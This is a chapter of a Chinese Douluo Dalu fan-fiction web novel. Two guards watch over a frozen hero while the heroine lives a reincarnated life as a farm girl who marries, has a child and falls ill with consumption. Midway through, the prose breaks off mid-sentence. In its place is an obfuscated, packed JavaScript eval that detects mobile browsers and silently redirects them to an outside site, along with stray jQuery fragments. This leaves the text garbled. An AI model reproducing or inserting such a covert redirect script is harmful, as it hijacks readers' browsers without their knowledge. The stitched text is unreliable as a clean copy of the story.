71.第六十七章 第一世轮回:农女半夏

作品:《斗罗·彼岸之契

    极北之地,永冻冰渊。


    这里是大自然最严酷的造物之一,永恒的黑暗与严寒统治着一切。深不见底的冰渊裂隙如同大地的一道伤疤,从渊底吹上来的寒风足以瞬间冻结魂圣级别的护体魂力。冰壁上凝结着万年不化的玄冰,泛着幽幽的蓝光,映照着上方偶尔掠过的极光,美得令人窒息,也冷得令人绝望。


    此刻,在这冰渊深处一处相对平缓的平台上,一座晶莹剔透、散发着亘古寒意的冰棺静静矗立。


    冰棺内,林曜保持着被冰封时的姿态,双眼微闭,面容平静,仿佛只是陷入了深深的沉睡。冰棺表面流转着雪帝亲手铭刻的古老符文,那些符文如同活物般缓缓游走,吸收着冰渊深处最纯粹的极致冰寒之力,维持着这“永恒冰封之阵”的运转。冰棺周围,一朵朵由极致之冰凝结而成的彼岸花静静绽放,它们不会凋零,只是永恒地守护着棺中之人。


    冰棺旁,盘膝坐着两道身影。


    陌笙周身弥漫着淡淡的冰雾,她的冰雪樱花武魂在背后若隐若现,与这片冰渊的环境产生着奇妙的共鸣。极致之冰的力量在这里如鱼得水,她的修炼速度比在外界快上数倍。但她大部分的心神,都放在了维持冰棺周围一个较小的辅助稳定结界上,同时警惕地感知着冰渊内的一切能量波动。


    在她身旁不远处,夏明安静静地坐着。他没有像陌笙那样修炼,而是面前摊开着数件精巧的魂导器。一个巴掌大小的水晶屏幕悬浮在他面前,上面滚动着复杂的能量曲线和数据流——那是连接在冰棺表面的微型监测魂导器传回的信息。


    “冰棺内部温度:绝对零度维持稳定。”


    “混沌之力活性:0.00017%,处于深度沉寂状态。”


    “生命体征:维持最低生命阈值,灵魂波动平稳,无苏醒迹象。”


    “阵法能量消耗:每小时0.3个标准单位,冰渊环境补充率102%,能量盈余。”


    夏明安推了推眼镜,镜片上反射着冰冷的数据光。他的声音平静无波,像是在做一份再平常不过的实验记录:“冰封状态稳定。按照当前数据模型预测,在不受到外部极端干扰的情况下,这种状态可以维持至少一百五十年。”


    陌笙微微侧头,冰蓝色的眼眸看了他一眼,没有说话,只是周身的冰雾似乎柔和了一瞬。


    夏明安顿了顿,继续道:“我已在外围布置了三层隐匿和预警魂导阵列。第一层监测能量异常,第二层预警生命体接近,第三层……是自毁式干扰装置,确保万一有强敌突破前两层,也能为我们争取至少三十秒的撤离或应对时间。”


    他的目光落在冰棺上,看着棺中林曜那凝固的面容,声音终于有了一丝极细微的变化:“他选择沉睡,是当前最优解。而我们的任务,是确保这份‘最优解’不被任何变量破坏。”


    陌笙终于开口,声音清冷如冰泉:“谢谢。也谢谢你选择来陪我。”


    她谢的不是那些魂导器,也不是那些数据分析。而是谢他选择留在这里,陪她一起守着这片冰封的誓言,守着这份渺茫却不容玷污的希望。


    夏明安摇了摇头,目光转向冰渊上方那片永恒黑暗的天空,仿佛能穿透无尽的寒冰与岩层,看到遥远大陆上正在发生的一切。


    “不用谢。这是理性的选择。”他轻声道,“彼岸谷有叶倩她们守着,暂时稳固。而这里……需要一双理性的眼睛,来确保感性的等待不会因为任何意外而落空。”


    “况且,”他的目光微微偏移,落在陌笙那冰雾缭绕的侧影上,“数据分析显示,一个人长期处于极端孤独环境下,心理状态恶化的概率会提升47.3%。两人协作,效率更高,容错率也更高。”


    陌笙沉默了片刻,冰蓝色的眼眸深处,似乎有什么东西轻轻化开了一点点。她重新闭上眼睛,继续维持结界,也继续着自己的修炼。


    冰渊重归寂静,只有寒风永恒的呜咽,以及监测魂导器偶尔发出的、极其轻微的滴答声。


    而在他们不知道的、遥远得超乎想象的维度,另一场无声的旅程,才刚刚开始。


    ---


    混沌初开,意识沉浮。


    宁惜感觉自己的“存在”被撕裂了——不是物理意义上的撕裂,而是灵魂本质被某种至高法则强行分割、稀释,然后投入了三条截然不同的、奔涌向未知命运的河流。


    大部分的意识陷入了一种近乎空无的沉寂,仿佛被包裹在温暖的羊水中,只有最核心的一点真灵,带着轮回之神的烙印,如同风中残烛,顽强地维持着“我是宁惜”这一点最根本的认知。但这认知也在三条河流的冲刷下,变得模糊、淡薄,如同隔了无数层毛玻璃看到的影像。


    他感觉自己在下坠,在飘荡,在无尽的黑暗与混乱的光流中沉浮了不知多么漫长的岁月。记忆的碎片如同被风暴卷起的落叶,漫天飞舞却无法拼凑——


    红色的花海,死亡的气息。


    白色的圣光,生命的温暖。


    灰黑色的混沌,熟悉的怀抱。


    绝望的嘶喊:“惜惜——!”


    冰冷的黑暗,悲悯的目光。


    古老的石井,苍茫的低语:“三世轮回……”


    我是谁?我来自哪里?要去往何方?


    这些问题没有答案,只剩下一种源自灵魂最深处的疲惫与虚弱感,如同跗骨之蛆,缠绕不去,还有那空落落的、仿佛遗失了最重要之物的钝痛。


    直到某一刻——


    三条奔涌的河流中,属于“温暖”、“平凡”、“生命起始”的那一条,率先抵达了某个“终点”。


    宁惜(或者说,这一世属于这条河流的那部分灵魂真灵)感觉到一股强大的、无法抗拒的吸力,将他从那混沌的漂流中猛地拉扯出来,投入了一个温暖、拥挤、充满生命律动的狭窄空间。


    挤压感,湿润感,然后是刺目的光亮和涌入肺叶的、第一口微凉的空气——


    “哇——!”


    一声嘹亮却透着明显虚弱的婴儿啼哭,划破了沉闷而充满血腥气的空气。


    宁惜(这一世的“她”)费力地睁开了沉重如铅的眼皮。视线模糊不清,只能感受到昏暗跳动的油灯光晕,一张布满汗水、苍白疲惫却洋溢着母性光辉与欣喜的妇人脸庞,还有周围粗陋的茅草屋顶和斑驳的泥土墙壁。一股混杂着新鲜血液、草药苦涩和泥土腥气的空气涌入鼻腔,刺激着她娇嫩的感官。


    她听到了周围嘈杂的、带着方言口音的人声,有男有女,声音里混杂着欣喜、松口气,以及一丝不易察觉的忧虑:


    “生了生了!是个闺女!”


    “阿弥陀佛,总算生下来了……她娘这次可遭大罪了,折腾了一天一夜……”


    “唉,这丫头哭声有点弱啊,看着身子骨也太单薄了些……”


    “能平平安安生下来就好,慢慢将养着。快,给她包上,别着凉了……”


    “她爹呢?快去告诉她爹,母女平安!”


    她试图转动眼珠,想看清更多,想调动那混沌的思绪,弄明白这不可思议的境遇。但婴儿脆弱至极的身体和尚未发育完全的大脑,根本无法支持任何复杂的思考。只有一些极其模糊的、仿佛是上一段生命残留的印记,如同水底的暗影,偶尔浮上意识的浅滩——


    漫天飘落的、红白相间的花瓣。


    温暖与冰冷交织的光芒。


    一个灰色短发、眼神温柔又焦急的模糊身影,朝她伸出手……


    还有……心口那空空荡荡的、仿佛被挖走了一块什么东西的钝痛……


    这些画面一闪即逝,如同阳光下的泡沫,一触即碎。随之而来的,是更强烈的疲倦感,如同潮水般将她刚刚萌发的一点意识彻底淹没。小小的脑袋一歪,再次陷入深沉的、无知无觉的睡眠。


    在沉睡中,那些光影碎片偶尔还会造访,带来瞬间的心悸或莫名的温暖,但醒来后,便了无痕迹,只留下心头一丝若有若无、连她自己都无法理解的、空落落的怅惘。


    ---


    时光在偏僻宁静的小山村“溪谷村”里,如同村边那条潺潺的小溪,缓慢而平静地流淌着,日复一日,年复一年。


    宁惜这一世的名字,叫做“半夏”。


    据她娘柳氏后来跟她说,生她那日,正是夏至过后的半夏时节。那日天气闷热,她娘生得艰难,几乎去了半条命。待她终于出生,天色已近黄昏,她爹去溪边打水时,看到溪水边的石缝里,不知怎么竟开了一片星星点点的白色小野花,在晚风中轻轻摇曳,看着让人心里安宁了些。她爹没什么文化,就觉得这丫头生在半夏时节,又和溪边野花有点缘分,便取了“半夏”这个名儿,朴实,也带着点山野的灵气。


    半夏的家,在溪谷村东头,是再普通不过的农家。三间低矮的茅草土屋,一圈竹篱笆围成的小院,院里养着几只咕咕叫的母鸡,墙角堆着柴火。父亲李大山是个沉默寡言、面相憨厚的庄稼汉兼猎户,农忙时伺候那几亩贫瘠的山田,农闲时便进山碰碰运气,打些野兔山鸡补贴家用,偶尔也能猎到獐子野鹿,那便是家里难得的丰盛日子。母亲柳氏身子骨一直不算硬朗,但性子温和坚韧,操持家务,照料田地,抚养孩子,默默支撑着这个清贫却温馨的家。


    半夏是家中长女,下面还有一个弟弟叫“石娃”,一个妹妹叫“丫妹”。作为长姐,她似乎天生就懂得分担。从能摇摇晃晃走路开始,就跟在娘亲身后,迈着小短腿帮忙递个东西;再大些,便能挎着小竹篮,去山坡田埂打猪草、捡柴火;弟弟妹妹出生后,看顾孩儿、哄他们不哭闹,也成了她小小的责任。


    生活是清苦的,甚至可以说是艰辛的。一年到头,碗里多是糙米野菜,难得见几次荤腥;衣服总是大的穿了小的穿,补丁叠着补丁;冬天冻得手脚生满红肿的冻疮,又痒又痛;夏天蚊虫肆虐,闷热的夜晚难以安眠。但山村的生活,也有着城市难以想象的质朴温暖和微小确幸。


    父亲偶尔从山里带回一只肥硕的野兔或山鸡,那便是全家改善伙食的大日子,灶房里飘出的肉香能让她和弟妹们咽着口水围在灶边转悠半天。母亲在昏黄油灯下,一边缝补着一家人永远补不完的衣物,一边用轻柔的嗓音哼唱着不知传了多少代的乡间小调,那调子悠悠的,带着淡淡的愁绪和深深的眷恋,总能让她听着听着便安心睡去。弟弟石娃虽然调皮,上山掏鸟蛋下河摸鱼虾总少不了他,但有什么好吃的,总会记得给姐姐留一份。妹妹丫妹像个小尾巴,最喜欢跟在她身后,用软糯的声音不停地喊着“姐姐,姐姐”。


    还有春日漫山遍野不知名的野花,夏日在清澈溪水里嬉戏的清凉,秋日阳光下金灿灿、沉甸甸的稻浪,冬日一家子围在火塘边,听父亲讲些山精野怪的老故事,烤着红薯芋头,满屋暖意融融……


    在这些细水长流的日常里,半夏渐渐褪去了孩童的稚嫩,抽条拔高,长成了一个清瘦的少女。她继承了母亲柳氏清秀的眉眼,但因为常年劳作和营养有限,身形纤细单薄,皮肤是健康的小麦色,手指不算细腻,带着薄茧,却灵巧有力。她话不多,性子安静,甚至有些过于沉静,但眼里有活,手脚麻利,心思也细。村里人都夸李大山和柳氏养了个好闺女,懂事,勤快,是个能持家的。


    只是,偶尔的偶尔,在忙完了一天的活计,坐在溪边石头上歇脚时,她会对着清澈溪水里自己的倒影发呆。水中的少女,眉眼干净,眼神清澈,但总觉着……那眼底深处,似乎应该有点别的颜色,不只是这纯粹的黑色?有时,她会在山间看到某些红白相间、形态特别的野花(并非真正的彼岸花,只是形色略有几分相似),心口会没来由地传来一阵细微却清晰的刺痛,仿佛被一根无形的针轻轻扎了一下,让她愣神许久。夜深人静时,偶尔入梦,梦境光怪陆离,有时是一片混沌交织的光芒,有时是一个模糊的、看不清面容的身影,那身影给她一种无比熟悉、无比安心,却又伴随着剧烈心痛的矛盾感觉。


    但这些感觉太过缥缈虚无,如同晨雾,太阳一出来便消散无踪。醒来后,看着窗外泛白的天光,听着院中公鸡的啼鸣,感受到被窝里妹妹丫妹温热的体温,那些梦中的悸动与怅惘,便很快被现实里劈柴、生火、煮粥、喂鸡……这些具体而微的琐事所覆盖、所取代。


    她就像溪谷村里大多数女孩一样,在平凡、清苦、却又充满了泥土芬芳和烟火温暖的日常里,一点点长大,长成了一个十六岁、安静、勤快、眉宇间带着一丝她自己都未曾察觉的、不同于一般村姑的沉静与通透气质的少女。


    命运的转折,或者说,属于她这一世既定的轨迹交汇点,在她十六岁那年的春天,如期而至。


    邻村“青山坳”坐落在更深的山坳里,那年春天雨水格外丰沛,引发了一场不小的山洪。洪水从山上冲下,裹挟着泥沙石块,冲毁了不少临溪而建的房屋和田地,伤了一些人,牲畜也损失不少,一时间愁云惨淡。


    溪谷村因为地势稍高,受损较轻。老村长是个厚道人,当即组织村里青壮劳力和妇孺,带上一些粮食、被褥和简陋的药材,前去青山坳帮忙。半夏也跟着爹娘和村里的叔伯婶子们一同前往。


    救灾的现场一片狼藉,泥泞不堪。倒塌的土墙,冲毁的田垄,浸泡在泥水里的家什,还有惊魂未定、满面愁苦的村民。空气里弥漫着泥腥味、潮湿的霉味和淡淡的血腥味。半夏和村里的妇女们一起,帮着在临时清理出的空地上架起大锅熬粥,分发干粮,照顾那些受了轻伤或受了惊吓的老人孩子。


    就在她端着一瓦罐刚烧开的热水,小心翼翼地走向一个用油布和木杆勉强搭起的窝棚,准备给里面一位扭伤了脚的老婆婆送水时,脚下忽然踩到一片被泥水掩盖的滑腻青苔——


    “哎呀!”她惊呼一声,身体瞬间失去平衡,向后仰倒!手中那罐滚烫的热水也脱手飞出,眼看就要砸落在地,热水四溅,不仅可能烫伤自己,还可能波及旁边的人!


    电光石火之间——


    斜刺里一道身影迅捷地冲了过来!


    一只有力而干燥温暖的手,及时地、稳稳地托住了她的后背,止住了她后仰的势头。另一只手,如同早有预料般,精准地凌空一捞,将那下落的瓦罐稳稳接住,罐中的热水只是微微晃荡,几乎没有洒出!


    “小心些,地滑。”


    一个清朗温和、带着些许关切的声音,在她头顶响起。


    半夏惊魂未定,心脏怦怦直跳,下意识地抬头望去。


    映入眼帘的,是一张年轻男子的脸庞。脸上不可避免地沾了些泥污,额发也被汗水浸湿,贴在额角,却丝毫掩盖不住那份天生般的俊朗。鼻梁高挺,嘴唇薄厚适中,下颌线条清晰。但最让半夏心神剧震、几乎瞬间停止了呼吸的,是那双眼睛——


    并非记忆碎片中那种模糊的灰色,而是深邃明亮的深褐色,如同秋日阳光下清澈的潭水,此刻正带着关切,清晰地映出她有些惊慌失措的脸。


    可那眉眼轮廓!那微微上挑的眼尾弧度!那专注看人时的神态!那挺直的鼻梁和下颌的线条……


    竟与她梦中那个无数次出现、却始终看不清面容的模糊影子,有着惊人的、令她灵魂都为之颤栗的、近乎完美的重叠感!


    仿佛隔了千山万水、无尽时光,那个一直存在于她梦境深处、带来安心与心痛的身影,终于穿透了迷雾,清晰地、真实地站在了她的面前。


    她彻底呆住了,愣愣地看着对方近在咫尺的脸,忘了道谢,忘了站稳,也忘了抽回还被对方扶着后背的手。时间仿佛在这一刻凝固,周围的嘈杂人声、泥泞景象都迅速褪去、模糊,只剩下眼前这双深褐色的眼眸,和心底那翻江倒海、几乎要冲破胸膛的莫名悸动。


    青年似乎也讶异于她如此直愣愣的、仿佛被定住般的注视。他微微挑了挑眉,但很快,那深褐色眼眸中的讶异便被温和的笑意取代。他松开扶着她后背的手,将接住的瓦罐递还到她面前,声音放得更轻缓了些:“水有点烫,拿稳了。”


    “……谢、谢谢。”半夏这才猛地回过神,脸颊瞬间烧得通红,慌忙低下头,手忙脚乱地接过瓦罐,指尖不可避免地碰触到对方温热的手指,又是一阵微颤。


    “你是溪谷村来帮忙的?”青年似乎为了缓解她的尴尬,很自然地找了个话题,语气平和。


    “嗯。”半夏低着头,声如蚊蚋,心跳依旧快得不像话。


    “我是青山坳的,叫阿曜。”青年自我介绍道,语气坦荡,“木字旁一个翟字的曜。这次真是多亏你们村及时来帮忙,不然这烂摊子更难收拾了。”


    阿曜……曜……


    这个名字,如同春日里一颗投入平静湖面的石子,在她心中荡开一圈圈越来越大的、带着奇异回响的涟漪。不是陌生的名字,而是一种……仿佛在灵魂深处被呼唤过千万次的熟悉感。心口那块长久以来空落落的地方,似乎被这个名字,被眼前这个人,轻轻地、却又无比确定地触碰、填补了一下。


    “我叫……半夏。”她终于鼓起勇气,抬起眼睫,飞快地看了他一眼,又迅速垂下,声音依旧很轻。


    “半夏?生在半夏时节的姑娘?”阿曜笑了笑,笑容明朗,仿佛能驱散周遭灾后的阴霾,“好名字。”


    短暂的交谈后,两人各自去忙。阿曜转身去帮忙搬运一根倒塌的房梁,半夏则捧着瓦罐,继续走向那个窝棚。但她的脚步有些虚浮,心思也早已飘远。那一整天,她的目光,总是不自觉地、悄悄地,在忙碌混乱的人群中,寻找着那个叫阿曜的青年身影。


    她发现阿曜在青山坳的年轻人里似乎很有些声望。他个子高,力气也大,扛木头、清淤泥、修葺破损的房屋,总是冲在前面,干得又快又利索。他不仅有力气,似乎还懂些粗浅的草药知识,帮着郎中给一些受了皮外伤的人清洗、包扎。他待人也和气,无论是对村里的长辈,还是对来帮忙的外村人,都是笑脸相迎,说话做事让人如沐春风。他的笑容很暖,很干净,像穿透雨后乌云的第一缕阳光,能轻易照进人的心里。


    救灾的活计持续了半个多月。半夏和阿曜的直接接触并不多,但每次短暂的相遇——或许是在分发食物时他恰好排在她这一队,或许是在溪边清洗物品时碰巧在相邻的石块,或许只是擦肩而过时一个礼貌的点头微笑——都让半夏感受到一种奇异的、仿佛源自灵魂最深处的熟稔与安宁。不需要太多言语,只是一个眼神的交汇,一个微笑的交换,就能让她心头那莫名的空落感被抚平些许。


    而阿曜,似乎也对她这个来自溪谷村、话不多却眼神清澈、做事认真细致的姑娘,有着特别的好感。他会“恰巧”在她提水时路过,顺手接过沉重的水桶;会在休息时,坐到离她不远的石头上,看似随意地讲些青山坳的趣事传说,逗得旁边的孩子们笑闹,她的嘴角也不自觉地跟着弯起;会在临别前,悄悄地塞给她一小包用干净树叶包着的、从山里摘来的、甜中带着微酸的野浆果,低声说:“尝尝,解解乏。”


    感情,在这质朴无华、却充满人间烟火气的往来与互助中,如同山涧里悄然汇聚的溪流,自然而然地流淌、汇聚,日益加深、明晰。


    救灾结束,两村往来恢复。阿曜开始时不时以感谢溪谷村援手之情为由,或是借口山里猎到了好东西、挖到了好药材,要分给李大叔(他打听到半夏父亲的名字)尝尝,又或是单纯地想用山货换些溪谷村的特产,往溪谷村跑得勤了些。


    而每次他来,似乎总能“恰巧”遇到在溪边洗衣捶打、或是刚从地里摘了菜回来、或是带着弟妹在村口玩耍的半夏。他会很自然地接过她手中沉重的木盆或竹篮,会跟她讲这次进山的见闻,青山坳最近的新鲜事,会留意到她偶尔看向山间野花时微微失神的表情,下次来时,便会带上一把开得正好、颜色鲜艳的野花,若无其事地递给她:“路上看见的,觉得好看,顺手摘了。”


    没有轰轰烈烈的表白,没有花前月下的浪漫,只有在这琐碎日常里,一点一滴积累起来的关心、默契和越来越藏不住的眼神交流。


    半夏的父母,李大山和柳氏,起初是有些犹豫的。阿曜这孩子,他们是见过的,救灾时就来帮过忙,相貌人品都没得说,是个好小伙。可他毕竟是外村的,家里情况他们也打听过——父母早些年因病先后去了,他是跟着叔叔婶婶长大的,虽说叔婶待他不薄,但总归不是自己亲生父母的家底。自家虽不富裕,但半夏是长女,他们总希望女儿能嫁得近些,日子过得稳当些。


    可是,看着女儿每次听到阿曜要来时,眼中那不自觉亮起的光彩;看着阿曜每次来,那份不卑不亢的诚恳,眼里对半夏实实在在的喜欢和尊重;看着两个孩子站在一起时,那种说不出的和谐与般配……为人父母的心,终究是软了。只要女儿喜欢,小伙子人踏实肯干,对女儿好,别的……也就罢了。


    十八岁那年的春天,山花烂漫,溪水欢腾。在溪谷村和青山坳交界处那棵不知道生长了多少年、枝叶繁茂的老槐树下,阿曜拦住了从外婆家回来的半夏。


    夕阳的余晖透过树叶的缝隙,洒下斑驳的金光。阿曜看起来有些紧张,耳根微红,但那双深褐色的眼眸却亮得惊人,直视着半夏,一眨不眨。


    他深吸一口气,像是鼓足了毕生的勇气,从怀里掏出一个用红绳简单系着、光滑温润的鹅卵石——那是他在溪水里捡了许久才找到的、形状颜色都特别合心意的一块。


    “半夏,”他的声音因为紧张而有些微哑,却异常清晰、真诚,“我阿曜没念过多少书,说不出啥好听的话。我家境一般,也给不了你大富大贵。但我有一把力气,肯吃苦,也有一颗……真心实意对你好的心。”


    他上前一步,轻轻握住半夏因为紧张而微微出汗的手,将那颗温热的鹅卵石放入她的掌心,然后紧紧包裹住。


    “我会对你好,努力干活,让你过上好日子,不让你像现在这么辛苦。我会把你爹娘当成我自己爹娘孝敬,把石娃丫妹当成我自己弟妹照顾。”他的眼神炽热而坚定,“你……愿意嫁给我吗?愿意跟我回青山坳,我们一起过日子吗?”


    半夏仰头望着他。夕阳的金辉落在他俊朗的脸上,落进他深褐色的眼眸里,那里面映着漫天的霞光,也清晰地映着她自己微微泛红、眼眶湿润的脸庞。梦中那个模糊的、带来安心与心痛的身影,与眼前这个真挚的、温暖的、活生生的阿曜,在这一刻彻底重合,严丝合缝,填满了她心中那片存在了十八年的、连她自己都说不清道不明的空落与怅惘。


    没有惊天动地的理由,没有权衡利弊的计较。只有水到渠成的安心,灵魂共鸣般的契合,以及那份在平淡日常中悄然生长、已然根深蒂固的喜欢。


    泪水毫无征兆地涌上眼眶,又顺着脸颊滑落。她却笑了起来,那笑容如雨后初霁的阳光,干净,明亮,带着前所未有的释然与幸福。


    她轻轻点了点头,声音哽咽却无比清晰:“嗯。我愿意。”


    婚礼办得很简单,却很热闹。溪谷村和青山坳能来的乡亲几乎都来了。李大山和柳氏给女儿的嫁妆不多,但都是实打实的东西:一床新弹的棉花被,两套细布衣裳,一些锅碗瓢盆。阿曜的叔婶也尽力张罗,在青山坳村边给他们盖起了一间虽然不大、却结实温暖的木屋,还分了他们几分靠近小溪的荒地。


    婚后的日子,如同溪谷村大多数成了家的夫妻一样,平淡,忙碌,却充满了琐碎而真实的温情。


    他们在青山坳安了家。阿曜果然如他承诺的那般,是个能干又顾家的男人。他不仅种田是一把好手,打猎的本事更是青出于蓝,时常能从山里带回猎物,肉自己家吃一些,皮子和多余的肉拿去镇上换钱,贴补家用。他还跟村里的老郎中认得些草药,农闲时便进山采药,炮制好了也能卖些钱。家里的重活累活,他几乎全包了,从不舍得让半夏多干。


    半夏则将他们的小家打理得井井有条。木屋虽小,却总是收拾得干干净净,窗明几净。她在屋前屋后开辟了小菜园,种上时令蔬菜;养了几只鸡鸭,下的蛋除了自家吃,也能攒起来换些针头线脑;她的手巧,会用阿曜打来的兔子皮给他做暖和的护膝和帽子,会将自己的旧衣服改了给未来的孩子做小衣裳。夜晚,油灯下,阿曜有时会给她讲从镇上听来的趣闻,或是自己小时候的糗事;有时只是静静地坐在一旁,看她缝补衣物,或是就着灯光看书认字(阿曜居然粗通文墨,闲暇时便教她认些简单的字),眼神温柔得能滴出水来。


    半夏觉得,这大约就是人世间最踏实、最珍贵的幸福了。虽然清贫,但有关心自己、尊重自己、将自己放在心尖上的丈夫,有遮风挡雨、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213465|196513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    充满烟火气的家,心里是满满的、不再空虚的暖意。那些关于红白花朵和模糊光影的梦,似乎也做得越来越少了,偶尔入梦,那影子的面容似乎也清晰了些,竟与阿曜的脸有八九分相似,醒来后也只莞尔一笑,觉得定是自己日有所思,夜有所梦。


    两年后,他们有了第一个孩子。生产那日,阿曜在门外急得团团转,听到婴儿啼哭声冲进去时,眼眶都是红的。是个健壮的男孩,哭声洪亮。阿曜小心翼翼地将孩子抱在怀里,看看孩子,又看看疲惫却微笑着的半夏,那种初为人父的欣喜、激动和对妻子的心疼感激,交织在他脸上,让半夏觉得一切辛苦都值了。


    他们给孩子取名“平安”,寓意最简单,也最真挚——不求大富大贵,只求一生平安顺遂。小平安的到来,给这个小家注入了全新的活力与欢笑。阿曜干活更有劲头了,每次从山里或田里回来,第一件事就是洗干净手,去抱儿子,用胡茬蹭他的小脸,逗得孩子咯咯直笑。半夏看着丈夫和儿子玩闹的场景,心中那份为人妻、为人母的满足与安宁,几乎要满溢出来。


    然而,命运的波澜,似乎总不愿意让这份平凡的幸福长久地持续下去。


    或许是因为生育本就损耗了半夏那自出生起就不算强健的底子,或许是常年操劳积累的隐疾终于爆发,又或许,只是这偏僻山村缺医少药环境下难以避免的宿命——在小平安三岁那年,刚入冬不久,半夏病倒了。


    起初只是受了些风寒,咳嗽,有些畏寒发热。以为像往常一样,喝点姜汤,捂捂汗,歇两天就好了。阿曜去采了些治风寒的草药,煎了给她喝。可几天过去,咳嗽非但没止住,反而越来越厉害,从白天咳到晚上,咳得撕心裂肺,面色也日渐苍白下去,人迅速地消瘦,时常低烧不退,浑身乏力。


    阿曜慌了神。他将家里所有的积蓄都拿了出来,请了附近几个村子最有名望的老郎中来看。老郎中仔细诊了脉,又看了舌苔,问了症状,眉头越皱越紧,最后摇头叹息。


    “李大嫂这病……怕不是寻常风寒。”老郎中的声音带着沉重,“像是‘痨病’(肺结核)的症候。肺气阴虚,虚火灼肺,故而咳嗽不止,潮热盗汗,形销骨立。此病……唉,在这乡野之地,难啊。”


    阿曜如遭雷击,脸色瞬间煞白:“郎中,求您想想办法!需要什么药,我去找!多少钱,我去挣!”


    老郎中叹了口气:“此病缠绵,最耗元气与钱财。需用上好的补肺气、滋肺阴、清虚火的药材长期将养,或许能控制住,慢慢好转。但药材昂贵,且需精心照料,不能劳累,不能受寒,需静养。你们……”


    阿曜咬牙:“您开方子!药我想办法!只要有一线希望!”


    昂贵的药材方子开了出来。阿曜二话不说,将家里能变卖的东西几乎都变卖了,又四处借钱,凑足了前几个月的药钱。他比以前更加拼命地干活,天不亮就进山,不是打猎就是采药,下午回来顾不得休息,又去镇上找各种短工、零活,扛大包、卸货物,什么脏活累活都干,只为了多挣几个铜板,给半夏买药,买点有营养的东西补身子。


    他肉眼可见地憔悴下去,眼窝深陷,颧骨突出,手上身上添了许多新伤。但每次回到家,面对病榻上的半夏,他总是努力挤出最温暖的笑容,握着她的手,一遍遍地安慰:“会好的,半夏,一定会好的。你看平安还这么小,他不能没有娘。我们还要看着他长大,看着他娶媳妇呢。”


    半夏躺在病榻上,看着丈夫为了自己如此奔波劳累,日渐消瘦;看着幼子平安懵懂无知,却似乎也感受到家中压抑的气氛,变得格外乖巧安静,常常搬个小凳子坐在她床边,用软软的小手摸摸她的脸,说“娘亲快好起来”;她的心就像被放在火上煎烤,又像被钝刀一刀一刀地割着。


    她恨自己这破败不争气的身子,恨这突如其来的恶疾,恨它无情地打破他们刚刚步入正轨、充满希望的平静生活,将阿曜拖入如此艰辛的境地,让年幼的孩子可能失去母亲。


    病痛不仅折磨着她的身体,咳嗽、胸痛、低烧、盗汗、日渐衰弱的力气……也一点点消磨着她的精神与意志。无数个被剧烈咳嗽和胸闷痛醒的漫长夜晚,她睁着眼睛,望着窗外清冷苍白的月光,听着身边阿曜即使熟睡中也因极度疲惫发出的沉重呼吸,和隔壁小床上平安偶尔的梦呓,那些早已被平凡幸福生活覆盖、变得极其模糊的前尘幻影,竟又幽幽地、固执地浮上心头。


    红色的花,妖异而热烈,象征着终结与遗忘。


    白色的花,圣洁而温柔,代表着新生与治愈。


    红白交织的光芒,形成一个混沌而温暖的漩涡。


    还有一个灰色短发、身影挺拔的身影,站在光芒之中,朝她伸出手,眼神温柔而焦急,仿佛在呼唤一个刻入灵魂的名字……


    这一次,那身影的面容似乎比以往任何时候都要清晰一些。她能隐约看到那挺直的鼻梁,清晰的唇线,尤其是那双眼睛……不是阿曜的深褐色,而是一种奇异的、仿佛能包容光与暗的灰色。那眼神里的情感复杂得让她心悸——有深沉的爱恋,有蚀骨的担忧,有坚定的守护,还有一种……仿佛跨越了漫长时空终于寻得的、失而复得般的巨大悲伤与喜悦。


    “我到底……是谁?”这个荒诞却又无比真实的念头,如同黑暗中滋生的藤蔓,紧紧缠绕住她的心,“半夏?还是……别的什么人?那些花……那个人……又是谁?为什么……我会在这里?为什么……心这么痛,又这么空?”


    但这些念头带来的迷惘与虚无感,很快又会被现实拉回。阿曜端着熬得漆黑的药汁,小心翼翼吹凉了送到她唇边;平安用稚嫩的声音背着他爹新教的童谣,想逗娘亲开心;窗外鸡鸣狗吠,炊烟袅袅,是真实的人间烟火。


    她是半夏。是阿曜的妻子,是平安的母亲。这是她真实的人生,真实的羁绊,真实的爱与痛。


    病情就这样时好时坏,反反复复,拖拖拉拉又是一年多。昂贵的药材早已吃尽,家里债台高筑,能借的亲戚邻里都借遍了。阿曜拼了命地干活,但收入对于无底洞般的药费和营养费来说,仍是杯水车薪。半夏的身体已经虚弱到极点,大多数时间只能躺在炕上,连自己坐起来都费力,瘦得只剩下一把骨头,面色蜡黄,唯有那双眼睛,因为消瘦而显得更大,依旧清澈,却盛满了对丈夫儿子的歉疚与不舍。


    她知道,自己大概是真的熬不过这个冬天了。


    一个深秋的午后,难得天气晴好,阳光明媚,透过糊着旧棉纸的窗棂,暖洋洋地照在炕上,驱散了些许屋内的阴冷药味。半夏的精神竟难得地好了一些,没有咳嗽,胸口也不那么闷痛了。她让阿曜将平安抱到炕上,依偎在她身边。


    平安已经四岁多了,比同龄孩子显得懂事很多。他知道娘亲生病了,很虚弱,此刻乖乖地靠在母亲身侧,小手轻轻抓着母亲瘦骨嶙峋的手指,仰着小脸,黑葡萄似的眼睛一眨不眨地看着她,小声说:“娘亲今天脸色好看。”


    半夏虚弱地笑了笑,用尽力气抬起另一只手,轻轻抚摸着儿子柔软黑亮的头发。她又抬眼,看向坐在炕边矮凳上、紧紧握着她另一只手、眼窝深陷、胡茬凌乱、眼中布满血丝却努力对她露出温柔微笑的阿曜。


    温暖的阳光勾勒着他英俊却饱经风霜的侧脸轮廓。那眉眼,那鼻梁,那下颌的线条……与她灵魂深处那个灰色短发的影子,在此刻无比清晰地重叠、交织,却又微妙地分离。


    阿曜是温暖的,朴实的,如同脚下这片坚实的土地,给予她最安稳的依靠和最平凡的幸福。而那个影子……是深邃的,复杂的,仿佛承载着星辰大海与无尽时光的秘密,带着一种宿命般的悲伤与炽热。


    她忽然之间,明白了什么。


